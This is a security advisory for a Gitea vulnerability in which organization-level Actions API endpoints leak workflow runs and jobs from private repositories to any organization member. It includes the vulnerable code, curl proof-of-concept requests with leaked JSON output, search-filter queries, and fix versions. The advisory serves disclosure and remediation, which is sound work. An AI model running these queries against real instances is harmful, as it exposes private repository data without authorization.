Skip to content

GHSA-frpw-3h2q-4jj6 CVE-2026-57897 GO-2026-6054

Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs

Medium Go
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.41%
Chance of exploitation in the next 30 days. Higher than 35.13% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
CWE-863 Incorrect Authorization
Fix
Available
2 packages have a fixed version

Description

Author: Prakhar Porwal Date: 2026-05-24 Target: Gitea (self-hosted Git service) Branch tested: main @ b7e95cc48c (development build, go1.26.3) Component: routers/api/v1/org/action.go (org-level Actions API) OWASP: API3:2023 Broken Object Property Level Authorization


1. Summary

The org-level Actions REST endpoints

GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobs

are gated only by reqOrgMembership() + reqToken(). They then call shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) / shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects every action_run / action_run_job row whose repository belongs to the org — with no per-repository ACL check.

Result: any user who is a member of an organization can enumerate workflow runs and jobs from every repository in that org, including:

  • private repositories the caller has no team membership for,
  • repositories where the caller has been explicitly denied the repo.actions unit,
  • repositories created by other teams the caller is not part of.

Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs, …/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the same caller — proving the org-level surface is the only path that leaks.


2. Affected Code

2.1 Route registration

routers/api/v1/api.go:1647-1652

addActionsRoutes(
    m,
    reqOrgMembership(),   // reqReaderCheck
    reqOrgOwnership(),    // reqOwnerCheck
    org.NewAction(),
)

2.2 Helper that registers run/job listing

routers/api/v1/api.go:908-941

m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)

reqReaderCheck for org-scope = reqOrgMembership() — bare org membership is enough; no per-repo permission is consulted.

2.3 Handler

routers/api/v1/org/action.go:595-683

func (Action) ListWorkflowJobs(ctx *context.APIContext) {
    shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}

func (Action) ListWorkflowRuns(ctx *context.APIContext) {
    shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
}

2.4 Query construction (no ACL)

routers/api/v1/shared/action.go:138-215

opts := actions_model.FindRunOptions{
    OwnerID:     ownerID,   // ← org ID, NOT user ID
    RepoID:      repoID,    // = 0 at org level
    ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)

models/actions/run_list.go:102-110

func (opts FindRunOptions) ToJoins() []db.JoinFunc {
    if opts.OwnerID > 0 {
        return []db.JoinFunc{func(sess db.Engine) error {
            sess.Join("INNER", "repository",
                "repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
            return nil
        }}
    }
    return nil
}

The join only constrains repository.owner_id = orgID. There is no access/team_repo/collaboration join and no access_model.GetDoerRepoPermission(...) filter — every row in the org is returned.

The same bug applies to shared.ListJobs, which calls db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …}) using an analogous repository join.


3. Steps to Reproduce

3.1 Setup

  • Org 1st-org with one private repo 1st-org-repo.
  • Team Owners contains user admin (org owner).
  • Team 1st-team has zero repositories assigned (units permission none for actions, no included repos).
  • User admin2 is a regular user (is_admin = false), member of 1st-team only — so org member, but no team grants any access to 1st-org-repo.

Verified that admin2 lacks direct access:

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":"…"}[404]

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/repos
[]
[200]

A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to produce an action_run:

name: ci
on: push
jobs:
  hello:
    runs-on: ubuntu-latest
    steps:
      - run: echo "SECRET_INFO_FROM_PRIVATE_REPO"

3.2 Trigger

$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/runs

Output (truncated)

{"workflow_runs":[{
  "id":7,
  "url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
  "html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
  "display_title":"add workflow",
  "path":"ci.yml@refs/heads/main",
  "event":"push",
  "run_attempt":1,
  "run_number":1,
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  "actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …},
  "trigger_actor":{ … "login":"admin" … },
  "repository":{
     "id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
     "description":"test123",
     "private":true,
     "clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
     "ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
     …
  }
}],"total_count":1}
[200]

Same primitive for jobs:

$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
  "id":7,
  "run_id":7,
  "name":"hello",
  "labels":["ubuntu-latest"],
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  …
}],"total_count":1}
[200]

3.3 search primitives

All query parameters supported by ListRuns/ListJobs work too — turning the endpoint into a search oracle over private workflow metadata:

# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"

# Confirm a given commit SHA exists in any private repo of the org:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"

# Filter by actor:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"

# Filter by event/status:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"

All return matching rows from private repos in the org.


4. Impact

A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org:

Field leaked Why it matters
repository.full_name, description, private, clone URLs Existence + topology of private repos
head_sha, head_branch Confirms commits / branch names exist in private repos
path (workflow file) Reveals workflow YAML filenames
event, display_title Commit messages / event types
actor, trigger_actor Internal contributor identities incl. noreply emails
created_at, started_at Activity timing / CI cadence
Pagination + ?head_sha=/?branch=/?actor= filters Full search oracle over private workflow history

Real-world consequences:

  1. Org reconnaissance — confirms existence of private projects, names, activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules.
  2. Insider-threat amplification — any contractor / interviewee / OSS contributor invited to a low-permission team can mine the rest of the org's CI history.
  3. Cross-team violation — when an org isolates internal projects via teams (e.g. security/ vs infra/ teams), this surface flatly bypasses that boundary.
  4. Pivot data — commit SHAs disclosed here unlock subsequent endpoints that do check ACLs but accept SHA inputs (e.g. some package / archive download paths in third-party tooling that just trusts a SHA).

The same primitive is exposed regardless of token scope, as long as the token has organization scope, the user is an org member, and the org has any private repos with action runs.


Affected versions

Go

PackageVulnerableFixed in
code.gitea.io/gitea
< 1.27.0
1.27.0
gitea.dev
< 1.27.0
1.27.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.gitea.io/gitea Go → 1.27.0

go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy

gitea.dev Go → 1.27.0

go
go get gitea.dev@v1.27.0 && go mod tidy

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rcr6-4jqh-j84m
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Critical Known exploited Also affects code.gitea.io/gitea
GHSA-fq2p-5p22-8g6j
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Medium Also affects code.gitea.io/gitea
GHSA-2wm4-vwp6-v7xc
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
High Also affects code.gitea.io/gitea
GHSA-3r5c-2xxx-h872
Gitea: Webhook Authorization Header Returned in Plaintext via API
Low Also affects code.gitea.io/gitea
GHSA-q423-49rw-g9mh
Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private
Medium Also affects code.gitea.io/gitea
GHSA-h56g-4qw7-2mxg
Gitea: Public-only API token restriction is not enforced on team API routes
Medium Also affects gitea.dev
GHSA-prr9-9mp4-5gp2
Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
High Also affects gitea.dev
GHSA-2fcr-jfvc-vgg2
Gitea: Two SSRF findings
High Also affects code.gitea.io/gitea
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor